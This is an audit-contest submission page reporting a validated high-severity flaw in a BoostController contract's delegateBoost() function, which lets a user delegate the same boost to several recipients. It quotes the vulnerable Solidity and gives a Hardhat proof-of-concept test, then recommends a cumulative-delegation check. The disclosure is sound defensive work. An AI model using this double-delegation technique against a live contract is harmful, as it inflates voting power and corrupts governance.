Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Double Spending of Boost Due to Lack of Delegation Restriction

Summary

The delegateBoost() function allows users to delegate the same boost multiple times to different recipients without restriction, leading to potential double spending.

Vulnerability Details

While the function ensures users cannot delegate more than their balance or delegate to the same user twice, it fails to prevent delegating the same boost amount to multiple users. This results in an inflated boost system where more boost is allocated than actually exists.

/contracts/core/governance/boost/BoostController.sol:212
212: function delegateBoost(
213: address to,
214: uint256 amount,
215: uint256 duration
216: ) external override nonReentrant {
217: if (paused()) revert EmergencyPaused();
218: if (to == address(0)) revert InvalidPool();
219: if (amount == 0) revert InvalidBoostAmount();
220: if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION)
221: revert InvalidDelegationDuration();
222:
223: uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
224:
225: if (userBalance < amount) revert InsufficientVeBalance();
226:
227: UserBoost storage delegation = userBoosts[msg.sender][to];
228: if (delegation.amount > 0) revert BoostAlreadyDelegated();
229:
230: delegation.amount = amount;
231: delegation.expiry = block.timestamp + duration;
232: delegation.delegatedTo = to;
233: delegation.lastUpdateTime = block.timestamp;
234:
235: emit BoostDelegated(msg.sender, to, amount, duration);
236: }

POC

A user can delegate their full boost amount to multiple recipients, effectively duplicating their influence.

Add this POC to BoostController.test.js in describe("Delegation System", section:

/test/unit/core/governance/boost/BoostController.test.js:151
151: it.only("POC: User can delegate its boost to multiple Users. Double Spending of Boost", async () => {
152: const amount = await veToken.balanceOf(user1.address); // entire balance of veRAAC
153: const duration = 7 * 24 * 3600; // 7 days
154:
155: await expect(
156: boostController.connect(user1).delegateBoost(user2.address, amount, duration)
157: ).to.emit(boostController, "BoostDelegated")
158: .withArgs(user1.address, user2.address, amount, duration);
159:
160: const delegation = await boostController.getUserBoost(user1.address, user2.address);
161: expect(delegation.amount).to.equal(amount);
162: expect(delegation.delegatedTo).to.equal(user2.address);
163: await expect(
164: boostController.connect(user1).delegateBoost(manager.address, amount, duration) // not reverting
165: ).to.emit(boostController, "BoostDelegated")
166: .withArgs(user1.address, manager.address, amount, duration);
167:
168: const delegation1 = await boostController.getUserBoost(user1.address, manager.address);
169: expect(delegation1.amount).to.equal(amount);
170: expect(delegation1.delegatedTo).to.equal(manager.address);
171: });

then run npx hardhat test

Impact

Allows governance manipulation and unfair voting advantages.

Tools Used

Manual Review, Unit Testing

Recommendations

Implement a cumulative delegation check to ensure a user’s total delegated boost does not exceed their balance.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!